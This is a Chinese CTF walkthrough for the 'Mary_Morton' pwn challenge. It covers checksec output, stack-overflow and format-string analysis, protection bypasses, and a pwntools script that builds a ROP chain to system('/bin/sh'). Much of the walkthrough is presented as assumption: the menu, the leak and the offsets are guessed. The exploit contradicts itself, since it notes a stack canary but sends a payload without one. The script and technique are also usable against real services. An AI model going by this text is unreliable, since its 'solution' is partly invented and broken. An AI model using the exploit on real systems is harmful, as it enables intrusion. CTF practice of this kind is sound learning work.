1. 项目背景与目标解析
"Mary_Morton"是CTF竞赛平台"攻防世界"中一道经典的pwn引导题目,主要考察二进制漏洞利用的基础能力。这道题目的设计初衷是帮助初学者掌握栈溢出漏洞的基本原理和利用方法,属于pwn入门阶段的必刷题型。
作为一道引导模式的题目,它的难度定位在"简单"级别,适合已经掌握基本Linux命令、C语言基础和GDB调试技能的选手。题目通常会提供一个可执行文件(ELF格式)和对应的libc库文件,选手需要通过逆向分析找到漏洞点,并构造payload实现提权或获取flag。
提示:在开始解题前,建议先掌握objdump、readelf、checksec等基础工具的使用,了解函数调用栈的结构和基本的汇编指令。
2. 环境准备与文件分析
2.1 题目文件获取与检查
首先我们需要下载题目提供的附件,通常包含以下文件:
- mary_morton:可执行程序
- libc.so.6:动态链接库(可能版本不同)
- 其他辅助文件(如有)
使用checksec工具检查程序的安全机制:
bash复制checksec --file=mary_morton
典型输出结果可能显示:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这个结果告诉我们几个关键信息:
- 程序是64位架构
- 启用了栈保护(Canary)
- 启用了NX(数据不可执行)
- 没有开启PIE(地址随机化)
2.2 程序功能初步分析
运行程序观察基本行为:
bash复制./mary_morton
程序可能会显示一个菜单,提供多个选项,比如:
code复制1. 输入名字
2. 显示信息
3. 退出
通过简单的交互测试,我们可以发现:
- 选项1可能存在缓冲区溢出漏洞
- 选项2可能泄露某些关键信息
- 程序可能有格式化字符串漏洞
3. 漏洞分析与利用
3.1 逆向工程与漏洞定位
使用IDA Pro或Ghidra对程序进行反编译,重点关注以下几个函数:
- main函数:程序主逻辑
- 存在用户输入的函数(如gets、scanf、read等)
- 存在格式化字符串的函数(如printf)
在main函数中,我们可能会发现类似这样的危险代码:
c复制char buf[64];
gets(buf); // 明显的栈溢出漏洞
或者:
c复制char name[40];
printf(name); // 格式化字符串漏洞
3.2 栈溢出漏洞利用
如果确认存在栈溢出漏洞,我们需要:
- 确定溢出偏移量
- 绕过Canary保护(如有)
- 构造ROP链
- 获取shell或直接读取flag
使用cyclic工具确定溢出偏移:
bash复制gdb-peda$ pattern create 100
gdb-peda$ run
输入生成的pattern
观察崩溃时的RSP值
gdb-peda$ pattern offset $rsp
3.3 格式化字符串漏洞利用
如果存在格式化字符串漏洞,我们可以:
- 泄露栈上的地址
- 计算libc基址
- 覆盖返回地址或GOT表
典型的泄露payload:
python复制payload = "%p."*10 # 泄露多个地址
3.4 绕过保护机制
根据checksec的结果,我们需要考虑:
- 绕过Canary:
- 如果程序有格式化字符串漏洞,可以先泄露Canary值
- 在payload中正确位置填入Canary值
- 绕过NX:
- 使用ROP技术
- 可能需要泄露libc地址
- 绕过ASLR:
- 通过泄露地址计算基址
- 题目通常不开启PIE,函数地址固定
4. 漏洞利用实战
4.1 构造利用链
假设我们已经确定:
- 溢出点在偏移72字节处
- 可以通过选项2泄露libc地址
- 需要调用system("/bin/sh")
典型的利用步骤:
- 使用格式化字符串泄露libc地址
- 计算system和"/bin/sh"的实际地址
- 构造ROP链:
- 填充垃圾数据
- 覆盖返回地址为pop rdi; ret
- 放入"/bin/sh"地址
- 调用system
4.2 编写exploit代码
使用pwntools编写利用脚本:
python复制from pwn import *
context(arch='amd64', os='linux')
# 启动程序
p = process('./mary_morton')
# p = remote('目标IP', 端口)
# 泄露libc地址
p.sendlineafter('>', '2') # 选择泄露功能
leak = p.recvline()
libc_base = int(leak, 16) - 0x3ec680 # 根据泄露的地址计算基址
# 计算关键函数地址
system_addr = libc_base + 0x4f440
binsh_addr = libc_base + 0x1b3e9a
# 构造ROP链
rop = ROP('./mary_morton')
rop.call(system_addr, [binsh_addr])
# 发送payload
payload = b'A'*72 + rop.chain()
p.sendlineafter('>', '1') # 选择溢出功能
p.sendline(payload)
# 获取shell
p.interactive()
4.3 调试技巧
在开发exploit时,可以使用以下调试技巧:
- 在关键位置加入pause()暂停执行
- 使用gdb附加调试:
bash复制
gdb -p $(pidof mary_morton) - 检查内存布局:
bash复制
vmmap - 查看寄存器状态:
bash复制
info registers
5. 常见问题与解决方案
5.1 偏移量计算错误
症状:程序崩溃但未按预期执行ROP链
解决方法:
- 重新确认溢出点位置
- 使用cyclic工具精确计算
- 检查payload中是否包含正确的Canary值(如有)
5.2 地址泄露不准确
症状:获取的shell不稳定或崩溃
解决方法:
- 确认泄露的地址是否正确
- 检查libc版本是否匹配
- 可能需要多次泄露不同地址进行交叉验证
5.3 远程与本地差异
症状:本地能getshell但远程不行
解决方法:
- 检查远程libc版本
- 确认网络连接稳定
- 可能需要调整payload中的偏移量
6. 进阶技巧与扩展
6.1 多阶段利用
对于更复杂的题目,可能需要:
- 先泄露地址
- 再构造第二阶段payload
- 可能需要多次交互
6.2 ROP链优化
可以尝试:
- 使用更短的gadget
- 复用已有代码段
- 利用one_gadget直接getshell
6.3 其他漏洞组合
有时需要组合利用:
- 栈溢出+格式化字符串
- 堆溢出+UAF
- 整数溢出+缓冲区溢出
7. 防御措施与安全建议
作为开发者,应该:
- 避免使用危险函数(gets, sprintf等)
- 启用所有安全机制(ASLR, NX, Canary等)
- 进行严格的输入验证
- 使用现代防护技术(如CFI)
作为安全研究者,应该:
- 理解各种保护机制的原理
- 掌握绕过这些机制的方法
- 不断学习新的漏洞利用技术
这道题目虽然简单,但涵盖了pwn题的基本要素。通过这道题,我们可以掌握:
- 基本的逆向分析技能
- 栈溢出漏洞的利用方法
- 格式化字符串漏洞的利用
- ROP链的构造技巧
- 保护机制的绕过方法
在实际操作中,我发现以下几点特别重要:
- 耐心调试:有时候一个字节的差异就会导致利用失败
- 系统化思维:从信息收集到漏洞利用要有清晰的思路
- 工具熟练度:熟练掌握gdb、pwntools等工具能大大提高效率
建议初学者在解决这道题后,尝试修改其中的保护机制设置(如关闭Canary或开启PIE),观察对利用方式的影响,这样可以更深入地理解各种保护机制的工作原理。